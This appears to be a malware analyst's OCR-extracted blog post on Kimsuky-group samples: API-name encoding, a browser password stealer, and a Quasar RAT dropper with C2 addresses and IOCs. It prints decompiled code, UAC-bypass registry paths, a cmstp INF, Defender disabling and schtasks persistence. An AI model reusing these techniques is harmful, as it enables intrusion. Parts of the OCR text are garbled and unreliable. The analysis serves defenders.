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TL;DR

o Attacks using the golddragon/braveprince cluster of the kimsuky (aka Thallium) group continue
o Recently, a routine to encode APl names has been added to the golddragon/braveprince cluster malware.
e Quasar-based malware, an open source RAT, was discovered by searching for additional intelligence based on strings

outline

In fact, the golddragon/braveprince clusters (personally, | call them daumrat) were thinking of posting them all around mid-
2021.. While | was spending time in the lost arc, the cisco talos team organized it well and made it public. It's sweet, but
thanks to you, | have no use for it.

So, in this post, we will briefly discuss the braveprince, password stealer malware, and Quarsar RAT-based .net malware
with name en/decoding routine added through intelligence search.

Case 1. Golddragon/braveprince malware with APl Name En/Decoding logic added

When the Run function is executed through rundll.exe, it is a very typical braveprince cluster that steals information and
creates svchost.exe and iexplorer.exe to steal information via daum mail. (Personally, | call it daumrat) recently discovered
golddragon/braveprince In the malware, functions were the same as before, but we found a sample with added logic to
encrypt/decrypt DLL and APl names.

WTF_10003CDO function

while ( 1@ );
PathippendW(&pszPath, L"Onelrivecache.dll™);
CopyFileW(Filename, &pszPath, @);

strepy(&v18, "taskkill /f /im daumcleaner.exe™);
memset(&v129, @, @xABu);
sub_1eee287e(&v18, al, @, a3);
sub_18882748(&pszFirst, L"rundll32.exe \"¥s\" Run”, &pszPath);
vll = weslen(&pszFirst);
w15 = w21;
w12 = WTF_188@3CDa( "gPdaPUk-HwPlg0");
v12(v15, L"dropbox™, @, 1, &pszFirst, 2 * vl1l);
sub_16002998();
vi = 1;

¥

Sleep(lu};

v13 = WIF_18883CDe( " gPdIHpvPSPG");

v13{v17};

return v3;

get encoded dll name & api name

Inside the file, there is an api_name_table containing the encoded DLL name and the API included in the DLL. Get the
encoded DLL name by comparing the encoded api hames in this table.
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nt _ thiscall WIF_1@@@3cDe(char *String2)

@ api_name_table 1002D9A@ dd offset aSwquwmkfLmm

char *v1; // ebx ; DATA XRE
char **encoded_str; 7/ edi e Encoded dll name
int v3; // esi . "Swa
L1 = ctcingo- dd offset aI9pupethpéxxtl ; "
encoded_str = api_name_table_108209A0; dd @
if ( !api_name_table_lieezDpoag[e] ) /¢ if table == NULL dd offset aAlsxktprbhethp ; °
return 8; dd @
"'{mue 1) dd offset aFpuctoripwlu ; "F
3= (e te + 1); dd o
if ( en _str[1] ) dd offset aFpuwgtuipnpl9p ; "F
break dd @
LABEL_S: : i ; "CP9ST1-UP19poPvv"™
encoded_str += @x201; // jump to next name table :: ;f e S P
if ( !*encoded_str .
' ritumqa; ) dd effset aI9Upéthpo ; "I9P-UP@THPO"
¥ dd e
‘{"hﬂ! ( _stricmp(*v3, v1) ) dd offset aI9pUp@thpe ; "I9P-UPBTHPc"
5 i 3 . dd @ .
N 4(--[5_'_.: s // jump to next api name dd offset aFpuBthpstP  ; "FRUBTHPGT P" encode-d api name
Eots Laee 53 il contained in dll
E - dd offset aFpu@thp8tPwg ; "FPUBTHPST_Phg"
if ( 1*(v3 + 4) )
*(v3 + 4) = MainDecoder 18003B4@(*encoded str, *vw3);
return *(v3 + 4);

decode string

The encoded DLL and APl names received as arguments are decoded by the following routine.

1. Get the index of the character position to be decrypted in the key table
2. Calculate the position index value with a specific formula (( idx - 0x16) & 0x3F)
3. Replace the encoded string using the calculated value as an index in the key table

result = _strdup(Source);
w2 = result;
if ( result )
if ( *result
1
v3 = result;
do
{
vid = Gj
while ( *v3 != aZcgxlswkj3ldow[v4] )
i
if ( ++vd »= B4 )
goto LABEL_9;
by
*v3 = aZcgxlswkj3ldow[ (v4 - 22) & @x3F];
LABEL_S:

++udy

while ( *v3 );

¥
result = v2;
1
return result;
}

The decryption logic is implemented as follows.

def decryptor(enc_str):
key_table = 'zcgX1SWkj314CwaYLvyhOU_odZH80ReKiNIr -JIM2G7QAXxpnmEVbqP5TuB9Ds6fFt"

dec_str = "'
for enc_chr in enc_str:
if enc_chr == '.":
dec_str += ',
else:

idx = key_table.index(ord(enc_chr))
dec_str += chr(key_table[ (idx - 0x16) & Ox3F ])

return dec_str
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The string substitution key table used by this malware is also found in other malware used by this group.
(link: https://asec.ahnlab.com/wp-content/uploads/2021/11/Kimsuky-group-APT-attack-analysis-report-AppleSeed-
PebbleDash.pdf )
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Report published by Ahnlab

Case 2. Information Stealer

In a stranger intelligence search, | found a sample with a familiar scent. It is a sample that has already been analyzed and
reported by talos, so let's briefly look at the functions.
(link: https://blog.talosintelligence.com/2021/11/kimsuky-abuses-blogs-delivers-malware.html )

%AppData%qwer.ixt file does not exist if it does not exist
Create %AppData%information folder (WORKING_PATH)
o Save system information in %AppData%Information folder
o cmd.exe /c ipconfig/all >> [WORKING_PATH]\netinfo.dat & arp -a >> [WORKING_PATH]\netinfo.dat
o cmd.exe /c systeminfo >> [WORKING_PATH]\sysinfo.dat
o cmd.exe /c tasklist >> [WORKING_PATH]\procinfo.dat
o [WORKING_PATH]\filelist.dat
After the svchost.exe process is created, the data in the resource area is decrypted and then injected
It is a malicious code that modified nirsoft's webpassview program to steal user information stored in the browser
and save it as a file.
[WORKING_PATH\aaweb.txt
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int _ usercall sub_leee27AAfl<eax>(int alf<edx:, int a2fi<ecx>, int a3@<ebp>, void (_ fastcall *a4)(int, int, int)@<edix)
1

a4(a2, al, 2008);

memset( (a3 - 3384), @, @xdléu);

wsprintfWl({a3 - 3384), L"%s\\netinfo.dat™, a3 - 1384);

sub_1@881DCa(a3 - 4944, L"cmd.exe fc ipconfig/all »>>\"¥s\" & arp -a »>>\"¥s\"", a3 - 3384, a3 - 3384);

{(sub_1@@@24F@) (a3 - 4944);

memset( (a3 - 5984), @, @x41léu);

wsprintfu((as - 5984), L"¥s\\sysinfo.dat™, a3 - 13e4);

sub_l1e@elDCe(as - 4944, L"cmd.exe /c systeminfo >»\"¥s\"", a3 - 5984);

{sub_1@8@824F@) (a3 - 4944);

memset( (a3 - 7824), @, @xd4lou);

wsprintfuW({a3 - 7824), L"¥s\\procinfo.dat™, a3 - 1384);

sub_16881DCA(a3 - 4944, L"cmd.exe fc tasklist »>»>\"%s\"", a3 - 7824);

(sub_1@88@24F@)(a3 - 4944);

memset( (a3 - 3064), @, @xdlou);

wsprintfl({ (a3 - 8@64), L"¥s\\filelist.dat", a3 - 1384);

sub_l1ees22he( (=5 - 8064));

dword_18028614 = 1;

return (a4)(1e6a);

Stealing system information

(HANDLE _ cdecl sub 4865E@(int al)
K
i| HANDLE result; // eax

H wchar_t Destination[264]; // [esp+Bh] [ebp-214h]
i| HANDLE hFile; // [esp+2leh] [ebp-4h]

'| SHeoetSpecialFolderPathl(®, Destination, 26, 8);
{| wesncat(Destination, L™\\information\‘\aaweb.txt", @x48u);

Il result = CreateFileW(Destination, @xCee@eee8, 3u, @, 4u, @, 8);
i hFile = result;

| if { result != -1 )

1A

; setFilePointer(hFile, @, @, 2u);
- sub_447e3@(hFile, al);

i sub 44763@(hFile, asc_46ASEB);

i result = CloseHandle(hFile);
¥

| return result;

Stealing account information stored in web browsers

This malicious code does not have a routine to transmit the collected information to the outside and does not run without the
gwer.txt file, so it appears to be one of the system information collection modules executed by other malicious codes.

Case 3. .Net malware based on Quasar RAT

Case 1 While performing an intelligence search with the found key value and encoded API name, | found a dropper running
Quasar RAT. The resource structure of the file is quite complex, so | expressed it as a picture
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Encrypted Resource Data Dropped Malware

) )

defender Control s/w MSWord16.pip
(TEXT114) (Encrypted C2, BIN101)
@ " @ ém
; StaticCache.dat
Priv Esc s/w
malware [TEXT‘I16)/ (Encrypted Quasar RAT, BIN102)
m
I E X E |

L, R
@ Quasar Loader

(BIN104)

In memorpy Dropper (PE)
(TEXT115)

working path : %AppData%¥Microsoft#Officett

malware resource data

The operation method of the malicious code is as follows.

e If your Windows version is 10
Drop & Execute Privilege Elevation SW (TEXT114)
o If you have high privileges and WinDefender is running
Defender Control SW & Execution (TEXT116)
e Main Malicious Behavior (TEXT115)
Drop file with C2 information
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if ( check_privilege_l8eee243e() ) . . .
{ High privilege
vl6 = &ini_path_180820780;
if ( qword 188020798 >= @x18 )
vli6 = ini_path_180020730;
CreateFileA = GET_PROC_ADDRESS_180004@050("I9P-UP@THPC");
hFile ini = CreateFileA(v16, @x40000000i64, 9i64, @i64, 4, 128, 09i64);
if ( hFile_ini != -1) // CreateFile(%AppData¥\_rspsdkt[MMDD].ini, OPEN_ALWAYS)

CloseHandle = GET_PROC_ADDRESS_1860@4050("IHpvPE-1nHP");
CloseHandle(hFile_ini);

if ( find_windefender_process_18e@82258() )

{
TEXT115_Defender_Control_180e01988(); // IF Running WinDefender
Sleep(1000u);
}
}1 if ( VersionInf i dwMajorVersi 10 )// if i inl@
else i VersionInformation. ajorVersion == if version == win .
{ Win 10
run_priv_esc_1860016208();
Sleep(@xABFBu);

v20 = &ini_path_180020780;

if ( qword_18@020798 >= ox1@ )

V26 = ini_path_180020750;

leteFileA = GET_PROC_ADDRESS_130884856("LPHPUP@THPC");

leteFileA(v20);

n n |

De
De

[

}
return run_dropper_in_memory_180002100();

Main routine

Malware main logic

elevation of privilege

The malicious code decrypts the resource file (TEXT116), maps the file to memory, and calls the Export function Reg for
privilege elevation.

factor | Privilege Elevation file/registry path
SIW

One | computerdefaults.exe | HKCU\Software\\Classes\\ms-settings\\shel\\open\\command

2 sdclt.exe HKCU\Software\\Classes\\Folder\\shell\\open\\command

3 cmstp.exe %AppData\Microsoft\windows\seting.ini

4 WSReset.exe HKCU\Software\\Classes\\AppX82a6gwre4fdg3bt635tn5ctqjf8msdd2\\Shell\\open\\command
5 slui.exe HKCU\\Software\\Classes\\Launcher.SystemSettings\\shel\\open\\command
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= "computerdefaults.exe”;
v5s = "Software‘\\Classes\\ms-settings\\shell\\open\\command”;
LABEL_16:

o
[]

if (w12 »= ex1e )

set_regstry_13@@81Bea(v7, v5, vi);
goto LABEL_19;

if { a1 ==2)

1

= "sdclt.exe";

= "Software\\Classes\\Folder\\shell\\openi\command™”;
goto LABEL_l&;

o

}
if { al =3 )
if { al == 4 )
1
vl = "WsReset.exe™;
w5 = "Software\\Classes\\AppX82acgwredfdg3bt635tnsctqjfamsdd2i\shell\\open'\command™;
h
else
1
if ( al '=15) /f 8l == 5
goto LABEL_19;
vd = "slui.exe";
v5 = "Software\\Classes\\Launcher.SystemSettingsi\shell\\openi\command";
}
goto LABEL_16;
}
vE = v1e;
Privilege Elevation S/W
[version]

Signature=$chicago$
AdvancedINF=2.5
[DefaultInstall]

CustomDestination=CustInstDestSectionAllUsers
RunPreSetupCommands=RunPreSetupCommandsSection

[RunPreSetupCommandsSection]
[MALPATH]\malware.dll, Run
taskkill /IM cmstp.exe /F

[CustInstDestSectionAllUsers]
49000, 49001=A11USer_LDIDSection, 7

[AllUSer_LDIDSection]
"HKLM", "SOFTWARE\Microsoft\Windows\CurrentVersion\App Paths\CMMGR32.EXE", "ProfileInstallPath",
"%UnexpectedError%", ""

[Strings]

ServiceName="WinPwnageVPN"
ShortSvcName="wWinPwnageVPN"

Turn off winDefender

Search "sMpEng" string among running processes to check whether Defender is running, and if it is running, drop the file
(TEXT114) in the resource area and run it with the /D option to turn off Defender.

o Path: %PROGRAMFILES%\Microsfot\
o File name: /[cetuikgbms]{6}.exe

7/14



& Defender Control v1.9 =1L

Windows Defender is turned off

Disable Windows Defender ]

Enable Windows Defender l

Open Security Center ] [ Menu ... l

. o

win defender control

Malware installation

The final malicious code, Quasar RAT, and the encrypted C2 file are dropped to a fixed folder.

e Encrypted C2 (BIN101): %AppData%\Microsoft\Office\MsWord16.pip
e Quasar RAT (BIN102): %AppData%\Microsoft\Office\StaticCache.dat

The loader running Quasar RAT creates a random folder in %AppData%\Microsoft\, drops it to a random name, and runs it.

o Installation path: %AppData%\Microsoft\ [pubs, Common, Defender, Protect, Vauli]
« File name: [svchost, sihost, spoolsyv, taskhostw, RuntimeBroker].exe
o Execution argument: -start

Createlirectory = sub_18@B83EAG("I9P-UPLT9PoUp9Gc™);
Createlirectory(v3, @i6d);
snprintf_180083920(appdata_win_off, working_dir, "\\Office\\");
v5 = appdata_win_off;
if ( w52 »= exie )

v5 = appdata_win_off[@];

CreateDirectory 1 = sub 188B83EAB(“ISP-UPLTIPoUp2Gc™);
CreateDirectory 1(vS, ©i64); Jf C\\Usersi\A\anon\\AppDatai\\Roaming\\Microsoft\\Office\)
path_list = "pubs™; f/ dir_name_list
v64 = "Common™;
vE5 = "Defender”;
"Protect”™;
viE; "Vault”;
loader_name_list = "swchost™; J/ file_name_list
"sihost";
"spoolsv™;

"taskhostw";

V7 "RuntimeBroker™;

v7 = time64(Bigd);

srand{v7);

path = snprintf 188863928(5rc, working dir, ™\\");

Autorun Registration (Persistence)

Attempts to register the scheduler and register the registry (if Windefender is not running) to secure the continuity of the
malicious code.

set_schtasks_1888@14C8(v29, Src); A "\"CO\MUsers\anon\ \AppDatat\\Reaming\\Microsoft\\Common\\taskhostw.exe\" -start”
// CloudUpdate
if ( !CHECK_WINDEFENDER_l8@@81l3e() )
1
v43 = 15i64; /f IF Defender Not Working
VA2 = Bigd;
LOBYTE(Src[@]) = @;
sub_l8@ee323e(src, vel, @ied4, @xFFFFFFFFFFFFFFFFuic4);
vAE = 15i64;
VA5 = BiBd;
LOBYTE(appdata_path[@]} = @;
sub_188e8323@(appdata_path, v62, @ied, BxFFFFFFFFFFFFFFFFui64);
set_registry_for_autorun_l13@e8158@(appdata_path, Src);

¥
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autorun name

o WindowsAutoUpdate
AdobeUpdate
DefenderUpdate
OneDriveUpdate
CloudUpdate

o]

o

[e]

[e]

schtasks.exe "/create /tn \"WindowsAutoUpdate\" /tr
\"C:\\Users\\anon\\AppData\\Roaming\\Microsoft\\Protect\\svchost.exe -start\" /sc DAILY /mo 1 /f"

Registry Path: Path: HKLM\SoftWare\Microsoft\Windows\CurrentVersion\Run

RAT Loader

RAT Loader is a .NET-based loader program named teracom or RuntimeBroker that reads Quasar-based malware, decodes
it, and executes it. PDB information exists in the loaded executable file.

G:\SRC\!Spy\!LoadAssembly\!teracom\teracom\obj\Release\teracom.pdb
G:\SRC\!Spy\taskhost\taskhost\obj\Release\RuntimeBroker.pdb

teracom (10.198.254.2) X

b {} mpg
4(}t
4%,

Guid

teracom/runtimebroker info
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pathz . { “0Pn&3 L
[1 ar . ( . ( . (path, path2}),

arrav[i] "=

oy = |
nhly ==

Bet Typel

[obj

MethodInfo method = tu 3 . e
[ {method ==

method. Invo

RAT loader

Malware based on Quasar RAT

The StaticCache.dat file that operates in memory is a Quasar RAT-based malware with a package name of RMSSVC. The
overall function is the same as Quasar RAT, so only some settings, decryption logic, and C2 address loading method will be
reviewed.

(link: https://github.com/quasar/Quasar )
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RAT Package
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_AUHEY = "sMZnBFZwhsifsiOwEGoiaG tNNFymz i KHFHNCEGEF 3y i 32KLFEE | +f ZPEGAR/ knGME 1 +OKFUNST7Ia 1NNIE Cdz 4 A==

AGENT = “"Mozillas5.0 (Windows MT 10.0; Trident/7.0; rv:11.0) |ike Gecko":

_WERSON = Application.

_HOS_T& . {"G+wr7+y | sL098/D4sF v+ByKxBf rraPz+ 7R Tz+uzy+yve S 0y /v i B7LOS uyG+POE G0

RECOMMWECTOELAY = 5000:

_KEY_ = "lu¥pShtz IKkiwgIMrowzig==",

JEpecialFolder ZPECIALFOLDER = JEpecialFolder,

OIRECTORY = 0 ] .SPECIALFOLOERY, “"Microsoft”

WORKDIRECTORY = "Office™:

WORKPATH o .OIRECTORY, WORKD | RECTORY J;

SELFPATH o JMWORKPATH, “StaticCache.dat” s

HOSTFILE o JORKPATH, “HMEWordlB.pip” b

Setting information to be used for malicious behavior

Decrypt the encrypted C2 and AES-encrypted MsWord16.pip files in the Config file and set them to C2

o https: //blog.daum [.Jnet/casalesmedia/pages/category
o 14.47.189.243:443

e 222.122.79.232:8080

o 222.122.79.232:443

Host _GetMextIP()

Host host:
[

. hddHost sFromlRLE host . n
._hosts Enqueuelhost 1

Thread, {300 + Random{ ). Mext(0, 250))
3

host . = _Hosts_Manger. (host 1
.—hosts . Engueuel host )
host:

[0
# [1]
» [2]
# [3]
® Raw View

Value Type
RMSSWVC.CRE._Utities._Hosts_Manger RMSSVC.CRE._Utities._Hosts_Man...

Count = 0x0 a4 Systermn.Collections.Generic.Qusue...
{14.47.189.24 RMSSVC.CRE.Dat Host
{222.122.79.232:8 } RMSSVC.CRE.Dat.
{222.122.79.232:443) RMSSVC.CRE.Dat Host
thttps://blog.daum.net/casalesmedia/pages/category:0} RMSSVC.CRE Dat. Host

RMSSVC.CRE Dat Host
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String decryption logic

Decryption order
1. Base64 Decoding
2. 159 (0x9F) XOR

num
tert += ([

fesult = text.

result:

C2 File Decryption Logic (AES)

def aes_dec(enc_str):
enc_str = base64.b64decode(enc_str)
key = base64.b64decode("IuYp5htzIKk1lwglMrcwzSg==")
iv = "\X00\x00\X00\x00\X00\X00\Xx00\X00\Xx00\X00\X00\Xx00\X00\X00\Xx00\X00"
decrypt = AES.new(key, AES.MODE_CBC,IV= iv)
dec_str = decrypt.decrypt(enc_str)
print(dec_str)

conclusion

I'm just sorry for wasting your time by bringing all the finished rice cakes. But | wrote it with the hope that it might be helpful
to someone. And... | probably won't be posting any more tracking or analysis posts about these friends after this one. (The
reason will be written later along with the current situation on personal SNS.)

| end this article by sending a review to all malware/threat analysts who are struggling day and night to identify and block
threats.

Goodbye 2020! And Happy New year!!

I0C

Case 1. API Name En / Decoding logic is added golddragon / braveprince malware

MD5: E647B3366DC836C1F63BDC5BA2AEF3A9

sha1: A7TB0711B45081768817E85D6FC76E23093093F87

SHA256: 3903958EB28632AA58E455EB87482D1CCEF38A6FE43512BAAD30902E8BFDD6EDS

E11E2425C62F34EBB3F640BAEEFB67D5
7DC6F8AAAF4431C365564A51DD37C143D857B89E
237DEBA138355BFB448E74BFB68FC868F4807B24D68715A6D47E348FCOCF9257
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Case 2. the Information Stealer

MD5: BEDFA086DE4DFDC93C0551BBB08CD5A8

sha1: 4B1B5BED35BC676E835DE14EE033339D37F4549D

SHA256: 5E3907E9E2ED8FF12BB4E96B52401D871526C5ED502D2149DD4F680DA4925590

Case 3. .Net based malware on Quasar RAT

md5: C3885F3C1001A53EB4FBBB4B5F42163E

sha1: 322AD36BF0DB8244B64E2D3AFC1CCF5ED6685DF3

SHA256: 51a92bd57eced4a107dacabf2639b6fa06bea8992e72fc9b4305a90fcd984e752

MD5: 3A7355417EBFDB5067582916BBAFOF 15
sha1: ESBEF41ED7D0704D9206880EEOF30B5SECF30F204
SHA256: 0CF7E1268E8652D841B7BDA784707E445B9CDC2A46FFB375C8F239CB4C551F73
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